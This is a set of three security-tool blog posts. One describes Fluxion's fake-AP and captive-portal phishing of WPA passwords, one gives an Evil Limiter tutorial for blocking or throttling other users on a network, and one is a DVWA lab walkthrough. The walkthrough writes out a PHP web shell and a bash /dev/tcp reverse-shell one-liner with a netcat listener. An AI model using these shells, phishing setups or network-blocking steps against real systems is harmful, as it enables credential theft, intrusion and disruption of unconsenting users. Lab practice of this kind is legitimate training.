Fluxion - Set Up Fake AP, Fake DNS, And Create Captive Portal To Trick Users Into Giving You Their Password





Fluxion is a security auditing and social-engineering research tool. It is a remake of linset by vk496 with (hopefully) less bugs and more functionality. The script attempts to retrieve the WPA/WPA2 key from a target access point by means of a social engineering (phishing) attack. It's compatible with the latest release of Kali (rolling). Fluxion's attacks' setup is mostly manual, but experimental auto-mode handles some of the attacks' setup parameters. Read the FAQ before requesting issues.
If you need quick help, fluxion is also avaible on gitter. You can talk with us on Gitter or on Discord.

Installation
Read here before you do the following steps.
Download the latest revision
git clone --recursive git@github.com:FluxionNetwork/fluxion.git
Switch to tool's directory
cd fluxion 
Run fluxion (missing dependencies will be auto-installed)
./fluxion.sh
Fluxion is also available in arch
cd bin/arch
makepkg
or using the blackarch repo
pacman -S fluxion

Changelog
Fluxion gets weekly updates with new features, improvements, and bugfixes. Be sure to check out the changelog here.

How it works
  • Scan for a target wireless network.
  • Launch the Handshake Snooper attack.
  • Capture a handshake (necessary for password verification).
  • Launch Captive Portal attack.
  • Spawns a rogue (fake) AP, imitating the original access point.
  • Spawns a DNS server, redirecting all requests to the attacker's host running the captive portal.
  • Spawns a web server, serving the captive portal which prompts users for their WPA/WPA2 key.
  • Spawns a jammer, deauthenticating all clients from original AP and lureing them to the rogue AP.
  • All authentication attempts at the captive portal are checked against the handshake file captured earlier.
  • The attack will automatically terminate once a correct key has been submitted.
  • The key will be logged and clients will be allowed to reconnect to the target access point.
  • For a guide to the Captive Portal attack, read the Captive Portal attack guide

Requirements
A Linux-based operating system. We recommend Kali Linux 2 or Kali rolling. Kali 2 & rolling support the latest aircrack-ng versions. An external wifi card is recommended.

Evil Limiter: Taking Control Of Your Network Bandwidth







Ever wanted to block someone from the network or limit their bandwidth without having the network admin privileges? Well Evil Limiter has got you covered then.


An amazing tool to help you control your network without having access to the admin panel.

Today I'm gonna show you how to use this interesting tool to take control of your network.


Requirements:

1. A PC or Laptop with Linux OS.
2. A Network Adapter.
3. Access to the Network you want to control.
4. sudo or root access on your Linux OS.

First of all we will download the tool from its github repository:

https://github.com/bitbrute/evillimiter

You can download and extract the zip file from the link above or you can clone evillimiter repository using git like this:


git clone https://github.com/bitbrute/evillimiter 


Now lets install the downloaded tool on our machine

Step 1: Move inside the downloaded github repository

cd evillimiter


Step 2: To install type


sudo python3 setup.py install


wait for the installation to finish (May take some time)


Step 3: To run type


sudo evilimiter


Voila! That's it, you got it up and running on your machine


Now how do you control your network with it, its very easy.

It should detect your network automatically but yeah you can set it up manually as well using the command line argument -i.

After you have selected the right interface to control, you need to scan your network for live hosts. To perform the scan type


scan


you can pass an optional flag to the scan command which is range which will help you to specify the range of ip addresses you want to scan like this


scan --range 192.168.1.1-192.168.1.100





The above command will scan a total of 100 hosts from 192.168.1.1 to 192.168.1.100


Now after you have scanned your network next thing is to list the hosts that have been discovered during the scan for that you type the hosts command like this


hosts





Now you know the hosts on your network and now you should know which host you wanna block or limit based on the mac address of the host. Remember the host id of the host that you want to block or limit bandwidth of and lets do the magic.

to block a host from using the internet we simply specify the block command followed by the host id of the host that we want to block like this

block 1





if instead of blocking the host we just want to limit his internet bandwidth we can do just that by using the limit command followed by the host id and then the bandwidth that we want to allocate to that particular host like this


limit 1 100kbits





Wohooo! yeah its that easy and yes you can do all this without having the network admin role.

Now if you want to show mercy on that poor guy (blocked host), you can set him free by using the free command followed by the host id like this:

free 1





Well isn't administrating your network bandwidth so easy now.

Hope you enjoyed this tutorial.:)

Learning Web Pentesting With DVWA Part 5: Using File Upload To Get Shell

In today's article we will go through the File Upload vulnerability of DVWA. File Upload vulnerability is a common vulnerability in which a web app doesn't restrict the type of files that can be uploaded to a server. The result of which is that a potential adversary uploads a malicious file to the server and finds his/her way to gain access to the server or perform other malicious activities. The consequences of Unrestricted File Upload are put out by OWASP as: "The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, client-side attacks, or simple defacement. It depends on what the application does with the uploaded file and especially where it is stored."
For successful vulnerability exploitation, we need two things:
1. An unrestricted file upload functionality.
2. Access to the uploaded file to execute the malicious code.
To perform this type of attack on DVWA click on File Upload navigation link, you'll be presented with a file upload form like this:
Lets upload a simple text file to see what happens. I'll create a simple text file with the following command:
echo TESTUPLOAD > test.txt
and now upload it.
The server gives a response back that our file was uploaded successfully and it also gives us the path where our file was stored on the server. Now lets try to access our uploaded file on the server, we go to the address provided by the server which is something like this:
http://localhost:9000/hackable/uploads/test.txt
and we see the text we had written to the file. Lets upload a php file now since the server is using php. We will upload a simple php file containing phpinfo() function. The contents of the file should look something like this.
<?php
phpinfo();
?>
Save the above code in a file called info.php (you can use any name) and upload it. Now naviagte to the provided URL:
http://localhost:9000/hackable/uploads/info.php
and you should see a phpinfo page like this:
phpinfo page contains a lot of information about the web application, but what we are interested in right now in the page is the disable_functions column which gives us info about the disabled functions. We cannot use disabled functions in our php code. The function that we are interested in using is the system() function of php and luckily it is not present in the disable_functions column. So lets go ahead and write a simple php web shell:
<?php
system($_GET["cmd"]);
?>
save the above code in a file shell.php and upload it. Visit the uploaded file and you see nothing. Our simple php shell is looking for a "cmd" GET parameter which it passes then to the system() function which executes it. Lets check the user using the whoami command as follows:
http://localhost:9000/hackable/uploads/shell.php?cmd=whoami
we see a response from the server giving us the user under which the web application is running.
We can use other bash commands such as ls to list the directories. Lets try to get a reverse shell now, we can use our existing webshell to get a reverse shell or we can upload a php reverse shell. Since we already have webshell at our disposal lets try this method first.
Lets get a one liner bash reverseshell from Pentest Monkey Reverse Shell Cheat Sheet and modify it to suit our setup, but we first need to know our ip address. Enter following command in a terminal to get your ip address:
ifconfig docker0
the above command provides us information about our virtual docker0 network interface. After getting the ip information we will modify the bash one liner as:
bash -c 'bash -i >& /dev/tcp/172.17.0.1/9999 0>&1'
here 172.17.0.1 is my docker0 interface ip and 9999 is the port on which I'll be listening for a reverse shell. Before entering it in our URL we need to urlencode it since it has some special characters in it. After urlencoding our reverse shell one liner online, it should look like this:
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27
Now start a listener on host with this command:
nc -lvnp 9999
and then enter the url encoded reverse shell in the cmd parameter of the url like this:
http://localhost:9000/hackable/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27
looking back at the listener we have a reverse shell.
Now lets get a reverse shell by uploading a php reverse shell. We will use pentest monkey php reverse shell which you can get here. Edit the ip and port values of the php reverse shell to 172.17.0.1 and 9999. Setup our netcat listener like this:
nc -lvnp 9999
and upload the reverse shell to the server and access it to execute our reverse shell.
That's it for today have fun.
